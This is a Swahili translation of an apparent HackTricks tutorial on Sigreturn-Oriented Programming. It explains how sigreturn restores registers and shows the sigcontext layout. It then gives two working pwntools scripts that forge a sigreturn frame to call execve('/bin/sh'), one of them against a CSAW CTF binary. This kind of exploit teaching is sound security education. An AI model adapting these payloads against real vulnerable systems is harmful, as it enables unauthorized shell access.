SROP - Sigreturn-Oriented Programming

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Sigreturn ni syscall maalum ambayo kimsingi hutumiwa kusafisha baada ya kikundi cha ishara kumaliza utekelezaji wake. Ishara ni mapumziko yanayotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kumaanisha kuwa hali isiyo ya kawaida imejitokeza. Wakati programu inapokea ishara, kwa muda inasitisha kazi yake ya sasa kushughulikia ishara na mchakato wa ishara, kazi maalum iliyoundwa kushughulikia ishara.

Baada ya mchakato wa ishara kukamilika, programu inahitaji kuendelea na hali yake ya awali kana kwamba hakuna kitu kimetokea. Hapa ndipo sigreturn inapoingia. Inasaidia programu kurudi kutoka kwa mchakato wa ishara na kurejesha hali ya programu kwa kusafisha fremu ya steki (sehemu ya kumbukumbu inayohifadhi wito wa kazi na pembejeo za ndani) ambayo ilitumiwa na mchakato wa ishara.

Sehemu inayovutia ni jinsi sigreturn inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi thamani zote za rejista za CPU kwenye steki. Ishara haipobanwa tena, sigreturn inapitisha thamani hizi kutoka kwenye steki, ikirejesha kimsingi rejista za CPU kwa hali yake kabla ya ishara kushughulikiwa. Hii ni pamoja na rejista ya kidole cha steki (RSP), ambayo inaelekeza kwenye sehemu ya juu ya steki ya sasa.

Kuita syscall sigreturn kutoka kwa mnyororo wa ROP na kuongeza thamani za rejista tungependa iweze kuzipakia kwenye steki inawezekana kudhibiti thamani zote za rejista na hivyo kuita kwa mfano syscall execve na /bin/sh.

Tafadhali angalia jinsi hii itakuwa aina ya Ret2syscall ambayo inafanya iwe rahisi kudhibiti vigezo vya kuita Ret2syscalls nyingine:

pageRet2syscall

Ikiwa una hamu hii ni muundo wa sigcontext uliohifadhiwa kwenye steki kwa kupona baadaye thamani (mtaalam kutoka hapa):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Kwa maelezo bora angalia pia:

Mfano

Unaweza kupata mfano hapa ambapo wito wa signeturn unajengwa kupitia ROP (kuweka thamani 0xf kwa rxa), ingawa hii ni shambulizi la mwisho kutoka hapo:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Angalia pia exploit kutoka hapa ambapo binary ilikuwa tayari inaita sigreturn na kwa hivyo haifai kujenga hiyo na ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Mifano Mingine & Marejeo

Last updated